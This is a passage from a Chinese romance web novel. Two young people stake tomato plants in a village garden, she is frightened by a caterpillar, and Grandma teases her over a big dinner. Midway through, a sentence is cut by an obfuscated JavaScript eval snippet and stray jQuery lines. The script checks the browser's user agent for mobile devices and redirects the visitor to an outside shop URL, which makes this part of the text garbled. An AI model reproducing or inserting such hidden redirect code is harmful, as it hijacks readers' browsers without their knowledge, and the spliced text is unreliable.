苗长到膝盖那么高的时候。
林知夏蹲在菜地边上，看着那排歪歪扭扭的番茄苗，眉头皱成一团。前一天还好好站着的苗，一夜之间像喝醉了酒，东倒西歪地趴了一地。
她戳了戳那棵歪得最厉害的初恋，小声嘀咕：“你们怎么回事？站都站不稳……”
路承周走过来，蹲在她旁边，看了一会儿。
“该搭架了。”他说，“我前两天去镇上，顺道买了一些竹竿回来。”
林知夏愣了一下：“哈？”
路承周很知道林知夏再震惊什么，说，“想着差不多该用了，就先备着了。”
两个人一人搬了一捆竹竿进菜地。路承周插一根，林知夏跟着插一根，配合得挺默契。
插了几根之后，林知夏开始跟竹竿较起了劲。
有几根竹竿下面的土太硬了，她按了好几下都按不进去，竹竿歪歪扭扭地立在那里，像个站不稳的醉汉。
路承周看到后，默默走过来，站在林知夏身后，伸手握住那根歪了的竹竿，轻轻一用力，就把它稳稳地插进了土里。然后像什么事情也没有发生过一样，继续去插自己那一排了。
林知夏站在原地，感觉像是有什么武林高手，刚刚突然之间从她身后出现，又一下飘走了。
……
插完竹竿，开始绑绳子。
两个人面对面蹲在同一棵苗两侧，一人手里攥着一截绳子，同时伸手去绑。
“你先。”路承周说。
“你先。”林知夏说。
两个人都没动，对视了一眼。
“一起吧。”路承周说。
绳子在他们手里绕来绕去。
林知夏从左绕，路承周从右绕，路承周绕好一圈，林知夏伸手接过去，两个人的指尖在绳子上碰了一下。
林知夏的手指缩了缩，又伸回来，假装什么都没发生。
路承周也没说话，但绕绳子的速度慢了一点。
一圈，又一圈。指尖碰在一起，分开，又碰在一起。
绳子在两个人之间绕来绕去，越绕越紧，分不清是谁的手，分不清是谁的绳。
……
两个人搭架的动静闹得大，路过的村口大爷大妈们纷纷驻足。
“哎哟，你们看看这两个人哪——”李大妈拄着锄头，笑得眼睛眯成一条缝，“你绕一下，我绕一下，多好看呐！”
“可不是嘛！”王大爷叼着烟袋，啧啧两声，“我跟你讲，种地最能看出两个人合不合得来。你看他们，一个递绳一个绑，一个插竿一个扶，一点都不吵架，这日子肯定过得非常好！”
“现在的年轻人啊，感情真好。”李大妈感叹，“哪像我们当年，种地都各干各的。”
“那是因为你嫌我笨手笨脚！”
“你本来就笨手笨脚！”
老两口拌着嘴走远了，但几段话清清楚楚地落在了菜地里两个人的耳朵里。
两个人都假装没听见，面无表情地继续绑绳子，但绑绳子的手速明显快了一点。
绑完最后一根绳子，林知夏站起来，看着面前这片终于“站起来了”的菜地，眼睛亮亮的。
“终于撑住了！”她说。
路承周站在她旁边，嘴角弯了一下：“嗯。”
搭完架，林知夏蹲下来开始检查苗的情况。她发现叶子和主茎之间的腋窝里冒出了一个个小小的侧芽，嫩绿色的，尖尖的。
“这个是不是要掐掉？”
“好像是，侧芽会抢主茎的养分。”
两个人蹲在地里，一棵一棵地掐侧芽。林知夏掐了几个，忽然停下来，指着一个最大的侧芽，语气里带着点舍不得：“这个好大啊……掐了会不会太可惜？”
路承周看了一眼：“你想留也行，不过它会把主茎的营养分走。”
林知夏想了想，一狠心掐了。掐完看着手里那个侧芽，不舍得地叹了口气。到底是自己一路种下来的，跟自己的娃一样宝贝。
掐到地头那几株最弱的苗时，林知夏停下来，只掐了两个最大的侧芽，剩下的都留着：“这几棵太弱了，多留点叶子养养。”
路承周点了点头。
林知夏蹲在地上，对着那几株弱苗说了一句：“给你们留了面子啊，好好长。”
“路承周。”忽然，林知夏的声音变了。
“嗯？”
“你看这个……”她指着叶子背面一个小小的东西，声音哑哑的，“这个……这个是不是……”
路承周凑过去看。
一条绿油油的、胖乎乎的菜青虫，正趴在叶子背面，优哉游哉地啃着叶边，一口，又一口。
“啊————！！！”
林知夏的尖叫声划破了整个村子的宁静。
她直接从地上弹了起来，连退好几步，差点踩到身后的苗。脸都白了，眼睛瞪得圆圆的，整个人像是被按下了某个开关。
“虫！！！子！！！”
她绕着菜地开始跑，一边跑一边甩手，好像那条虫子已经爬到了她身上。其实那条虫还在叶子上，动都没动过。
“路承周你快点把它弄走！！求求你了！！！”
路承周蹲在原地，看着林知夏像一只被踩了尾巴的猫一样在菜地边上转圈，头发都飞起来了，脸上的表情惊恐又好笑。
他低下头，看了一眼那条还在慢悠悠啃叶子的菜青虫。
然后他伸出手，两根手指轻轻一捏，把虫子从叶子上摘了下来。
动作淡定得像从书架上抽了一本书。
林知夏远远地看着他徒手捏虫，整个人都不好了：“你你你你你怎么用手！！！”
路承周站起来，走到菜地外面，把虫子放在地上，然后回来，从口袋里掏出纸巾，慢条斯理地擦了擦手。
“好了。”他说。
林知夏站在三米开外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564425|204667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，惊魂未定地看着那片叶子，确认那条虫子真的不在了，才小心翼翼地走回来。
她蹲下来，把那片叶子翻过来翻过去看了好几遍，确认没有第二条，才长长地呼出一口气。
“吓死我了……”她拍着胸口，“我最怕这种软软的、没有骨头的、还会扭的东西……”
说完，林知夏还不自觉地打了个寒颤。
路承周看着她发白的脸，心想，她怕虫，那以后怎么办？”
路承周没说什么。但接下来的检查，他走在了林知夏前面，每一片叶子都先翻一遍，确认没有虫子了，才让她过来。
林知夏跟在他身后。
奶奶在堂屋门口看到了全过程。
从林知夏尖叫着绕着菜地跑，到路承周淡定地徒手捏虫，再到林知夏惊魂未定地拍胸口，奶奶都看到了。
她笑得弯了腰，手里的蒲扇差点掉地上。
“哈哈哈哈哈哈。”
林知夏红着脸走过来：“奶奶！你笑什么！”
“我笑你啊，”奶奶牙齿露在外面：“一条小虫子，吓得你绕着菜地跑了三圈。”
“哪有三圈！顶多一圈半！”
奶奶笑得更厉害了。
“今天知夏受了惊吓，我多做几个菜，给你们压压惊。”
“奶奶！我没有受惊吓！”因为奶奶明晃晃得嘲笑，林知夏抗议道。
“那你刚才叫什么？”
林知夏嘟囔，“那是……生理反应。”
奶奶笑着转身进了厨房。
当天晚上，奶奶做了一大桌子菜。
红烧肉、糖醋排骨、清炒时蔬、番茄蛋花汤，还有一大盘奶奶拿手的红烧鱼。桌子摆得满满当当，热气腾腾地往上冒。
林知夏坐在桌前，看着满满一桌子菜，眼睛都亮了：“奶奶，你这也太夸张了吧？”
“夸张什么？”奶奶给她夹了一块排骨，“你受了惊吓，得补补。”
“我没有受惊吓——”林知夏继续抗议奶奶的嘲笑。
“那你别吃。”
林知夏立刻把排骨塞进嘴里，不说话了。
路承周坐在对面，看着林知夏鼓着腮帮子嚼排骨的样子，嘴角动了一下。
奶奶又给路承周夹了一块鱼：“承周多吃点，今天辛苦了。”
“谢谢奶奶。”
窗外的天色渐渐暗下来，屋子里亮着一盏暖黄的灯。排骨的酱香、鱼的鲜香、米饭的甜香，混在一起，填满了整个屋子。
奶奶还在笑林知夏，林知夏嘟囔着反驳，碗筷碰在一起发出清脆的声响。
路承周坐在那里，看着这一切。
他低下头，夹了一口米饭，慢慢嚼着。
耳边是奶奶的笑声和林知夏的嘟囔声，眼前是热腾腾的饭菜和暖黄色的灯光。
他忽然觉得。
如果有一天要离开，他一定会非常舍不得眼前的一切。